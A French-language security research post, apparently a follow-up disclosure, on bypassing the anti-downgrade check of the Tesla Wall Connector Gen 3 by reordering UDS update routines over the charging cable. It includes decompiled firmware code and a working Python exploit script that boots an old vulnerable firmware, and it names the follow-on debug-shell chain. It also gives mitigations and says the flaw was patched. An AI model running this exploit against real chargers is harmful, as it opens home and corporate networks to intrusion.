Exploitation du Tesla Wall Connector depuis le connecteur de charge - Partie 2 : contournément de l'anti-downgrade
Dans un article précédent, nous avions présenté une attaque contre le Tesla Wall Connector Gen 3, utilisée lors de Pwn2Own Automotive 2025. La chaîne d'exploitation reposait sur un constat simple : il n'y avait aucun mécanisme d'anti-downgrade. Une fois capables de parler UDS via le câble de charge, il suffisait d'écrire un ancien firmware vulnérable dans le slot passif, de redémarrer, et d'obtenir un shell de debug.
Tesla a ensuite déployé une mise à jour ajoutant une vérification anti-downgrade dans la routine de mise à jour. Chaque image firmware embarque désormais une valeur de security ratchet, et l'updater refuse toute image dont le ratchet est inférieur à celui stocké sur l'appareil.
Ce second article décrit le fonctionnement de cet anti-downgrade, et comment nous l'avons contourné en abusant de l'ordre des opérations entre l'écriture de la table de partitions et l'effacement du slot, rejouant ainsi l'attaque originale de Pwn2Own sur un chargeur à jour.
C'est le genre de vulnérabilité qu'on trouve à la main, avec un café, une fenêtre IDA, et sans l'aide d'un modèle de langage. Vous souvenez-vous de cette époque ?
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Rappel de la procédure de mise à jour
Nous avons décrit le flux complet de mise à jour via Single-Wire CAN dans le premier article. En résumé :
- Ouvrir une session UDS (type
2). - S'authentifier via Security Access (niveau
5, algorithme XOR-0x35). - Exécuter la routine
0xFF00pour préparer et effacer le slot passif. - Écrire
0x0Edans l'identifiant0x102pour marquer le slot comme modifiable via UDS. - Envoyer le firmware avec
Request Download/Transfer Data/Request Transfer Exit. - Exécuter la routine
0x201pour valider l'image et basculer les slots. - Exécuter la routine
0x202pour redémarrer.
Pour rappel, l'AW-CU300 utilise deux slots firmware : un actif (en cours d'exécution) et un passif (cible de la mise à jour). Après une mise à jour réussie, les slots s'inversent et le nouveau firmware devient actif au prochain démarrage.
Ce qui a changé dans la version 24.44.3
Après un diff entre l'ancien firmware et la version 24.44.3, nous nous sommes concentrés sur switch_to_new_firmware(), la fonction derrière la routine UDS 0x201 :
int switch_to_new_firmware()
{
...
if ( settable_via_uds != 14 || !passive_firmware )
return 1;
if ( passive <= 0
|| passive > passive_firmware->size
|| (v2 = check_signature(passive_firmware->start, passive)) != 0
|| !check_image_and_antidowngrade(nullptr) )
{
part_erase(flash_drv, passive_firmware->start, 0x14u);
v2 = 4;
}
else
{
part_write_layout(passive_firmware);
}
flash_drv_close(flash_drv);
passive_firmware = nullptr;
return v2;
}
check_image_and_antidowngrade() est nouvelle. Elle parse les segments du firmware, recalcule leurs CRC, puis appelle verify_firmware_segments_platform() pour la comparaison du ratchet :
int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...)
{
...
// Walk the segments looking for the version descriptor in the
// segment that ends in the [0x100000 .. 0x100010] window.
...
if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ )
goto next_segment;
major = LOBYTE(buffer.ip_addr.addr);
minor = BYTE1(buffer.ip_addr.addr);
if ( buffer.netmask.addr == '2SRV' /* "VRS2" */
&& LOBYTE(buffer.gw.addr) > 1u )
firmware_ratchet = BYTE2(buffer.gw.addr);
else
firmware_ratchet = 0;
...
sub_1F04866C(¤t_ratchet); // read ratchet from PSM (persistent storage)
if ( current_ratchet <= firmware_ratchet
|| !call_psm_wrapper(...) )
{
return 0; // accepted
}
log("Failure: Security ratchet downgrade prevented %d < %d",
firmware_ratchet, current_ratchet);
return -1;
}
Les informations de version sont embarquées dans les segments firmware (VRSN pour la version, VRS2 pour le ratchet), dans le segment chargé près de 0x100000. Seul l'updater parse ces données, pas le bootloader. Côté appareil, le ratchet est stocké dans le PSM (Persistent Storage Manager) et incrémenté quand une image avec un ratchet supérieur est activée.
Sur un appareil en 24.44.3, envoyer l'ancien firmware 0.8.58 et appeler la routine 0x201 se termine par :
ERROR verify_firmware_segments_platform:145
Failure: Security ratchet downgrade prevented 0 < N
Et le slot est immédiatement effacé. Impossible de conserver une ancienne image en flash par le chemin officiel.
Le bootloader s'en moque
boot2, tel qu'il est nommé dans les artefacts de build, réside en flash à une adresse fixe et ne fait pas partie des mises à jour firmware déployées par Tesla. Pour l'analyser, nous avons dû dumper la flash d'un chargeur précédemment compromis via l'exploit original de Pwn2Own.
Il effectue plusieurs vérifications sur le firmware actif avant de sauter dessus :
- Header magique (
SBFH). - CRC32 par segment.
- Signature RSA contre une clé du keystore.
Mais il n'a aucune notion de security ratchet. Toute image avec une signature valide et un CRC correct s'exécute, quelle que soit sa version. Ni boot2 ni la bootrom n'implementent de secure boot. L'anti-downgrade est donc appliqué par un seul morceau de code, switch_to_new_firmware(), à un seul moment : quand la routine 0x201 est appelée.
Peut-on alors placer un ancien firmware signé dans le slot actif sans jamais appeler la routine 0x201 dessus ?
Comment un slot devient actif
La routine 0xFF00 appelle prepare_passive_slot(), qui détermine quel slot physique est passif en fonction des boot flags, puis l'efface :
int prepare_passive_slot(int a1, int a2, int a3)
{
partition_entry *f1, *f2;
int16_t v7 = 0;
if ( part_read_layout(a1, a2, a3)
|| (f1 = part_get_layout_by_id(1, &v7),
f2 = part_get_layout_by_id(1, &v7),
!f1)
|| !f2 )
{
passive_firmware = nullptr;
__und(0xFFu);
}
if ( (g_boot_flags & 3) != 0 ) // we booted from slot 1?
f2 = f1; // then passive is slot 0
passive_firmware = f2;
...
if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )
...
return 0;
}
part_get_layout_by_id() fonctionne comme un itérateur : le premier appel retourne la première entrée de partition avec l'id 1, le second retourne la suivante. Selon g_boot_flags, l'une ou l'autre devient le slot passif.
Voici le point clé : g_boot_flags est fixe au démarrage et jamais mis à jour ensuite. Il reflète toujours le slot depuis lequel on a démarré, pas l'état actuel de la table de partitions.
part_write_layout(), qui bascule les slots, ne touche pas aux données firmware. Elle réécrit uniquement la table de partitions en incrémentant un compteur de génération par slot :
int part_write_layout(partition_entry *a1)
{
...
if ( /* a1 matches f1 */ )
v3->gen_level = v4->gen_level + 1;
else if ( /* a1 matches f2 */ )
v4->gen_level = v3->gen_level + 1;
else
return -23;
// erase + rewrite the 4KiB partition table area
part_erase(v8, partition_table_addr, 0x1000);
flash_write(v8, &dword_129B7C, 16);
flash_write(v8, byte_1299FC, 24 * word_129B82);
flash_write(v8, &checksum, 4);
...
}
Au démarrage, le bootloader choisit le slot avec le gen_level le plus élevé. Pour rendre un slot actif au prochain boot, il suffit qu'un seul appel à part_write_layout() réussisse pour ce slot. Ce qui arrive ensuite au contenu du slot n'a aucune importance.
Le contournement
Récapitulons : la routine 0xFF00 efface le slot passif physique en se basant sur g_boot_flags (qui ne change jamais pendant une session), la routine 0x201 valide le contenu du slot et écrit la table de partitions, et le bootloader fait confiance à la table de partitions sans vérifier le ratchet.
En gardant cela en tête :
- Envoyer un firmware valide et à jour dans le slot passif. Appeler la routine
0x201. La validation passe, la table de partitions est écrite : ce slot a maintenant legen_levelle plus élevé. - Sans redémarrer, appeler la routine
0xFF00à nouveau. Commeg_boot_flagsn'a pas changé, le même slot physique est sélectionné comme passif, et le firmware qu'on vient de valider est effacé. La table de partitions n'est pas touchée. - Envoyer un ancien firmware, signé mais vulnérable, dans le slot maintenant vide.
- Ne pas appeler la routine
0x201(inutile, et elle refuserait l'image). Appeler directement la routine0x202pour redémarrer.
Au redémarrage, le bootloader lit la table de partitions, choisit le slot avec le gen_level le plus élevé (celui qu'on vient de réécrire), vérifie sa signature (toujours valide, c'est un firmware correctement signé), et saute dessus. La vérification anti-downgrade n'a jamais été exécutée sur l'ancienne image.
Exploit
Notre exploit est une simple extension du simulateur de voiture de Pwn2Own. Configuration Single-Wire CAN, séquence GPIO, plomberie UDS : rien ne change. Seule la séquence de mise à jour est doublée :
with Client(conn, config=uds_config) as client:
client.set_config('security_algo', tesla_uds_algo)
client.change_session(2)
client.unlock_security_access(5)
# 1. Push a valid, up-to-date firmware and let routine 0x201
# write the partition layout for us.
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
send_firmware_data(client, data)
client.routine_control(routine_id=0x201, control_type=1) # writes layout
sleep(1)
# 2. Re-prepare the same physical slot. The valid firmware gets
# erased; the partition table is untouched.
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read()
send_firmware_data(client, data)
sleep(1)
# 3. Reboot. The bootloader will boot the old firmware because
# the partition table still says this slot is the active one.
client.routine_control(routine_id=0x202, control_type=1)
Le temps total est d'environ 30 minutes sur le bus SWCAN à 33.3 kbps : deux fois le temps de l'exploit original de Pwn2Own, puisque deux images firmware complètes transitent par le câble. Après le redémarrage, la version 0.8.58 reprend les commandes, et le reste de la chaîne originale (fuite des identifiants Wi-Fi via UDS, telnet vers le shell de debug, buffer overflow dans le parseur d'arguments) fonctionne à l'identique.
Conclusion
L'anti-downgrade ne vit que dans l'updater et le bootloader ne vérifie pas le ratchet. Toute séquence qui valide la table de partitions puis réécrit le contenu du slot le contourne. La routine 0xFF00 permet exactement ça : effacer le firmware après que la table de partitions a été écrite, puis y écrire ce qu'on veut.
Appliquer la vérification du ratchet dans le bootloader fermerait cette brèche. Autres possibilités : faire en sorte que la routine 0xFF00 invalide l'entrée correspondante dans la table de partitions lors de l'effacement d'un slot, pour qu'un slot effacé puis réécrit ne soit jamais sélectionné au boot. Ou plus simplement, forcer un redémarrage après une mise à jour réussie, ou refuser toute nouvelle session de mise à jour une fois que la routine 0x201 a réussi.
Nous avons reporté cette vulnérabilité à Tesla, et elle a été corrigée dans une mise à jour firmware il y a plusieurs mois. Comme pour le premier article, le Wall Connector se trouve généralement sur un réseau domestique ou d'entreprise, et un chargeur compromis via son câble de charge devient un point d'entrée dans ce réseau. Le déploiement automatique OTA de Tesla vers les chargeurs connectés permet néanmoins de réduire rapidement l'exposition sur le terrain.